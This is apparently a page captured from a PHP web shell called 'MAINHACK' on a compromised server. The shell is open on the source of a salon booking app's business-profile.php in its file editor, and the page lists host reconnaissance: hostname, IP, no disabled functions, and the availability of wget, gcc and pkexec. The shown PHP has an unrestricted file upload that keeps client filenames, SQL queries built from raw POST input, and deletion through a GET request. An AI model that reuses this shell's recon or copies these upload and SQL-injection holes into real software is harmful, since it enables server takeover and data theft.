[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: business-profile.php
<?php include("../admin/includes/functions/functions.php");?> <?php include("../admin/db/db.php");?> <?php include('phpqrcode/qrlib.php');?> <?php if(!isset($_SESSION['username_Xw211qAAsq4'])) { header('Location: ../auth/'); exit(); } else { $pageTitle1 = 'Business Profile'; $shopname = $_SESSION['business_name_Xw211qAAsq4']; echo "<script src='https://unpkg.com/sweetalert/dist/sweetalert.min.js'></script>"; $account_type = 'Owner'; $stmt = $con->prepare("SELECT * FROM barber_admin WHERE business_name = ? and account_type = ?"); $stmt->execute(array($shopname,$account_type)); $rows_categories = $stmt->fetchAll(); foreach($rows_categories as $category){ $business_name = $category['business_name']; $phone = $category['phone']; $location = $category['location']; $open_clode_time = $category['open_clode_time']; $expired = $category['expired']; $email = $category['email']; $forgot_pass_expire_time = $category['forgot_pass_expire_time']; $description = $category['description']; $urll1 = $category['locurl']; $shop_title = $category['shop_title']; $seo_keywords = $category['seo_keywords']; } if(isset($_POST['submit'])){ $email = filter_input(INPUT_POST, 'email', FILTER_SANITIZE_STRING); $email = htmlspecialchars($email, ENT_QUOTES, 'UTF-8'); $phone = filter_input(INPUT_POST, 'phone', FILTER_SANITIZE_STRING); $phone = htmlspecialchars($phone, ENT_QUOTES, 'UTF-8'); $location = filter_input(INPUT_POST, 'location', FILTER_SANITIZE_STRING); $location = htmlspecialchars($location, ENT_QUOTES, 'UTF-8'); $des = filter_input(INPUT_POST, 'des', FILTER_SANITIZE_STRING); $des = htmlspecialchars($des, ENT_QUOTES, 'UTF-8'); $seo_keywords = filter_input(INPUT_POST, 'seo_keywords', FILTER_SANITIZE_STRING); $seo_keywords1 = htmlspecialchars($seo_keywords, ENT_QUOTES, 'UTF-8'); $shop_title = filter_input(INPUT_POST, 'shop_title', FILTER_SANITIZE_STRING); $shop_title2 = htmlspecialchars($shop_title, ENT_QUOTES, 'UTF-8'); $stmt = $con->prepare("UPDATE barber_admin SET email = ?, phone = ?,location = ?,description = ?,seo_keywords = ?,shop_title = ? WHERE business_name = ?"); $stmt->execute(array($email,$phone,$location,$des,$seo_keywords1,$shop_title2,$shopname)); header("location:business-profile"); } if(isset($_POST['senddata'])){ $open_time = $_POST['open_time']; $close_time = $_POST['close_time']; $days = $_POST['days']; for ($i = 0; $i < count($days); $i++) { $dayss = $days[$i]; $open_time1 = $open_time[$i]; $close_time1 = $close_time[$i]; $insert = mysqli_query($new,"INSERT INTO open_close_time (day,open_time,close_time,business_name) VALUES ('$dayss','$open_time1','$close_time1','$shopname')"); header("location:business-profile"); } } // Delete time // if(isset($_POST['del'])){ $time_id = filter_input(INPUT_POST, 'time_id', FILTER_SANITIZE_STRING); $time_id = htmlspecialchars($time_id, ENT_QUOTES, 'UTF-8'); $stmt = $con->prepare("DELETE FROM open_close_time WHERE id = ?"); $stmt->execute(array($time_id)); header("location:business-profile"); } // file upoload // if ($_SERVER["REQUEST_METHOD"] === "POST") { $folder = "uploads/"; $names = $_FILES['files']['name']; $tmp_names = $_FILES['files']['tmp_name']; $upload_data = array_combine($tmp_names, $names); //$md5Hash = md5($upload_data); foreach ($upload_data as $temp_folder => $file) { move_uploaded_file($temp_folder, $folder.$file); $sql = mysqli_query($new,"INSERT INTO shop_gallary(gallary1,business_name) VALUES ('$file','$shopname')"); header("location:business-profile"); } } if(isset($_GET['Delete'])){ $appid = $_GET['Delete']; $stmt = $con->prepare("DELETE FROM shop_gallary WHERE id = ?"); $stmt->execute(array($appid)); header("location:business-profile"); } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title> <?php echo $shopname;?> - <?php echo $pageTitle1;?></title> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <link href="plugins/datatables/dataTables.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/responsive.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/buttons.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/select.bootstrap4.css" rel="stylesheet" type="text/css" /> <script src="https://code.jquery.com/jquery-3.6.4.min.js" integrity="sha256-oP6HI9z1XaZNBrJURtCoUT5SUnxFr8s3BzRl+cbzUq8=" crossorigin="anonymous"></script> <link rel="shortcut icon" href="../assets/icon.png" type="image/x-icon"> <link rel="icon" href="../assets/icon.png" type="image/x-icon"> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <!-- App css --> <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/theme.min.css" rel="stylesheet" type="text/css" /> <style> #preloader { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 9999; background-color: #fff; } #loader { display: block; position: absolute; top: 50%; left: 50%; border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 70px; height: 70px; animation: spin 2s linear infinite; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } td { width: 100px; height: 10px; } </style> </head> <body> <div id="preloader"> <div id="loader"></div> </div> <!-- Begin page --> <div id="layout-wrapper"> <div class="header-border"></div> <?php include("includes/template/head.php");?> <?php include("includes/template/side.php");?> <div class="main-content"> <div class="page-content"> <div class="container-fluid"> <!-- start page title --> <div class="row"> <div class="col-12"> <div class="page-title-box d-flex align-items-center justify-content-between"> <h4 class="mb-0 font-size-18">Buainess Profile</h4> <div class="page-title-right"> <ol class="breadcrumb m-0"> <li class="breadcrumb-item"><a href="javascript: void(0);"><?= $shopname;?></a></li> <li class="breadcrumb-item active"><?php echo $pageTitle;?></li> </ol> </div> </div> </div> </div> <!-- end page title --> <div class="row"> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-body"> <div class="row"> <div class="col-md-6"> <br /><br /> <div class="form-group"> <h5><label>Your kooking link : </label></h5> <p>Share the link or download the QR Code to customers to book services online</p> <?php echo $url = "https://thesalonfriend.com/booking?shopname=".$shopname.""; // echo $url = "https://thesalonfriend.com/mydashboard/bookings" . strtolower($shopname); $randomName = $business_name.'.png'; // You can use uniqid() or any other random string $filename = "companycode/".$randomName; // Generate the QR code image QRcode::png($url,$filename); // Display the QR code image //echo '<img src="' . $filename . '" alt="QR Code">'; ?> </div> <div class="form-group"> <?php echo '<img style="width:250px;height:250px" src="' . $filename . '" alt="QR Code">';?> </div> <h4>Shop Gallary</h4> <?php echo $res ;?> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="files[]" multiple class="form-control" required> <br /><br /> <button type="submit" name="upload" class="btn btn-primary">Submit</button> </form> <div class="table-responsive"> <table class="table border"> <thead> <tr> <th>#</th> <th>Gallary</th> <th>Action</th> </tr> </thead> <tr> <?php $img = mysqli_query($new,"SELECT * FROM shop_gallary WHERE business_name = '$shopname'"); $cnt = 1; while($imgrow = mysqli_fetch_array($img)){ ?> <?php $delete_data1 = "delete_".$imgrow["id"];?> <?php $data13 = $imgrow["id"];?> <th><?php echo $cnt++;?></th> <td><img style="width: 60px;height: 60px" src="uploads/<?php echo $imgrow['gallary1'];?>"></td> <td> <li class="list-inline-item" data-toggle="tooltip" title="Delete"> <button class="btn btn-danger btn-sm rounded-0" style="size:12px"> <a href="business-profile?Delete=<?php echo $data13; ?>" onclick="return confirm('Do you want to delete this image?')"><i class="fa fa-check-circle"></i> </a> </button> </li> </td> </tr> <?php }?> <tbody> </tbody> </table> </div> </div> <!-- end col --> <div class="col-md-6"> <form method="POST"> <div class="form-group"> <label>Business name</label> <input type="text" disabled name="business_name" value="<?php echo $business_name;?>" class="form-control" data-toggle="input-mask" data-mask-format="0000-0000"> </div> <div class="form-group"> <label>Busniess Email</label> <input type="email" name="email" value=" <?php echo $email;?>" class="form-control" data-toggle="input-mask"> </div> <div class="form-group"> <label>Business number</label> <input type="text" name="phone" value="<?php echo $phone;?>" class="form-control" data-toggle="input-mask"> </div> <div class="form-group"> <label>Business location</label> <input type="text" name="location" value="<?php echo $location;?>" class="form-control"> </div> <div class="form-group"> <label>Open and close time</label> <?php $newDateTime = date('h:i A', strtotime($currentDateTime)); $dateopen = mysqli_query($new,"SELECT * FROM open_close_time WHERE business_name = '$shopname'"); while($fetch = mysqli_fetch_array($dateopen)){ ;?> <?php $delete_data = "delete_".$fetch["id"];?> <?php $data = $fetch["id"];?> <div class="row"> <div class="form-group col-md-3"> <input type="text" class="form-control" readonly value="<?php echo $fetch['day'];?>" style="height:40px"> </div> <div class="form-group col-md-3"> <input type="text" class="form-control" readonly value="<?php echo date('h:i A', strtotime($fetch['open_time']));?>" style="height:40px"> </div> <div class="form-group col-md-3"> <input type="text" class="form-control" readonly value="<?php echo date('h:i A', strtotime($fetch['close_time']));?>" style="height:40px"> </div> <div class="form-group col-md-3"> <li class="list-inline-item" data-toggle="tooltip" title="Delete"> <a href="#" class="btn btn-danger" data-toggle="modal" data-target="#<?php echo $delete_data; ?>" data-placement="top">Delete</a> </li> </div> </div> <div class="modal fade" id="<?php echo $delete_data; ?>" tabindex="-1" role="dialog" aria-labelledby="<?php echo $delete_data; ?>" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">Delete records</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> Are you sure you want to delete this records? </div> <input type="hidden" name="time_id" value="<?php echo $data;?>"> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button> <button type="submit" name="del" class="btn btn-danger delete_category_bttn">Delete</button> </div> </div> </div> </div> <?php }?> </div> <div class="form-group"> <label>Expiry date</label> <input type="text" disabled value=" <?php echo $forgot_pass_expire_time;?>" class="form-control"> </div> <div class="form-group"> <label>Account Status</label> <input type="text" disabled class="form-control" value="<?php if($expired == 'no'){ echo "Active"; } else { echo "Expired"; }?>"> </div> <div class="form-group"> <label>Shop description</label> <textarea class="form-control" name="des" row="10" cols="20"><?php echo $description; ?></textarea> </div> <div class="form-group"> <label>Page Title</label> <input type="text" class="form-control" name="shop_title" value="<?php echo $shop_title; ?>"> </div> <div class="form-group"> <label>SEO Keywords</label> <input type="text" class="form-control" name="seo_keywords" value="<?php echo $seo_keywords; ?>"> </div> <div class="form-group"> <label>Shop location url</label> <textarea class="form-control" readonly row="10" cols="20"><?php echo $urll1; ?></textarea> </div> <button type="submit" name="submit" class="btn btn-success">Update</button> <button type="button" class="btn btn-primary waves-effect waves-light" data-toggle="modal" data-target=".bd-example-modal-lg">Time record</button> </form> </div> <!-- end col --> </div> <!-- end row --> <div class="modal fade bd-example-modal-lg" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title h4" id="myLargeModalLabel">Open and closing time</h5> <button type="button" class="close waves-effect waves-light" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <div class="row"> <div class="col-md-1"></div> <div class="col-md-10"> <div class="form-group"> <form method="post"> <table class="table table-bordered table-hover" id="dynamic_field"> <tr> <td> <label>Day</label> <select name="days[]" class="form-control" style="height:40px"> <option>Select Days</option> <option value="Sunday">Sunday</option> <option value="Monday">Monday</option> <option value="Tuesday">Tuesday</option> <option value="Wednessday">Wednessday</option> <option value="Thursday">Thursday</option> <option value="Friday">Friday</option> <option value="Saturday">Saturday</option> </select> </td> <!-- <input type="hidden" name="business" value="<?php echo $shopname;?>"> --> <td> <label>Open time</label> <input type="time" name="open_time[]" class="form-control" style="height:40px"></td> <td> <label>Close time</label> <input type="time" name="close_time[]" class="form-control" style="height:40px"></td> <td> <label>Action</label><br/> <button type="button" name="add" id="add" class="btn btn-primary">Add</button></td> </tr> </table> <input type="submit" class="btn btn-success" name="senddata" value="Send"> </form> </div> </div> <div class="col-md-1"></div> </div> </div> </div> </div> </div> </div> <!-- end card-body--> </div> <!-- end card--> </div> <!-- end col --> </div> </div> </div> <!--end card body--> </div> <!-- end card--> </div> <!-- end col --> </div> <!--end row--> <?php include("includes/template/newfooter.php");?> </div> <!-- end main content--> </div> <!-- END layout-wrapper --> <!-- Overlay--> <div class="menu-overlay"></div> <?php include("includes/modals/CustomersModal.php");?> <script src="assets/js/jquery.min.js"></script> <script src="assets/js/bootstrap.bundle.min.js"></script> <script src="assets/js/metismenu.min.js"></script> <script src="assets/js/waves.js"></script> <script src="assets/js/simplebar.min.js"></script> <script src="plugins/raphael/raphael.min.js"></script> <script src="assets/pages/dashboard-demo.js"></script> <script src="assets/js/theme.js"></script> <script src="plugins/datatables/jquery.dataTables.min.js"></script> <script src="plugins/datatables/dataTables.bootstrap4.js"></script> <script src="plugins/datatables/dataTables.responsive.min.js"></script> <script src="plugins/datatables/responsive.bootstrap4.min.js"></script> <script src="plugins/datatables/dataTables.buttons.min.js"></script> <script src="plugins/datatables/buttons.bootstrap4.min.js"></script> <script src="plugins/datatables/dataTables.keyTable.min.js"></script> <script src="plugins/datatables/dataTables.select.min.js"></script> <script src="assets/pages/datatables-demo.js"></script> <script type="text/javascript"> document.onreadystatechange = function() { if (document.readyState !== "complete") { document.querySelector("#preloader").style.display = "block"; } else { document.querySelector("#preloader").style.display = "none"; } }; </script> <script type="text/javascript"> $(document).ready(function(){ var i = 1; var length; //var addamount = 0; var addamount = 700; $("#add").click(function(){ <!-- var rowIndex = $('#dynamic_field').find('tr').length; --> <!-- console.log('rowIndex: ' + rowIndex); --> <!-- console.log('amount: ' + addamount); --> <!-- var currentAmont = rowIndex * 700; --> <!-- console.log('current amount: ' + currentAmont); --> <!-- addamount += currentAmont; --> addamount += 700; console.log('amount: ' + addamount); i++; $('#dynamic_field').append('<tr id="row'+i+'"><td><select name="days[]"class="form-control" style="height:40px"><option>Select Days</option><option value="Sunday">Sunday</option><option value="Monday">Monday</option><option value="Tuesday">Tuesday</option> <option value="Wednessday">Wednessday</option><option value="Thursday">Thursday</option><option value="Friday">Friday</option><option value="Saturday">Saturday</option></select></td><td><input type="time" name="open_time[]" placeholder="Open time" class="form-control name_email"/></td> <td><input type="time" name="close_time[]" placeholder="Close time" class="form-control total_amount"/></td><td><button type="button" name="remove" id="'+i+'" class="btn btn-danger btn_remove">X</button></td></tr>'); }); $(document).on('click', '.btn_remove', function(){ var button_id = $(this).attr("id"); $('#row'+button_id+'').remove(); }); // $("#submit").on('click',function(event){ // var formdata = $("#add_name").serialize(); // console.log(formdata); // event.preventDefault() // $.ajax({ // url :"open-close-time.php", // type :"POST", // data :formdata, // cache :false, // success:function(result){ // alert(result); // $("#add_name")[0].reset(); // } // }); // }); }); </script> <!-- jQuery --> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.08 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002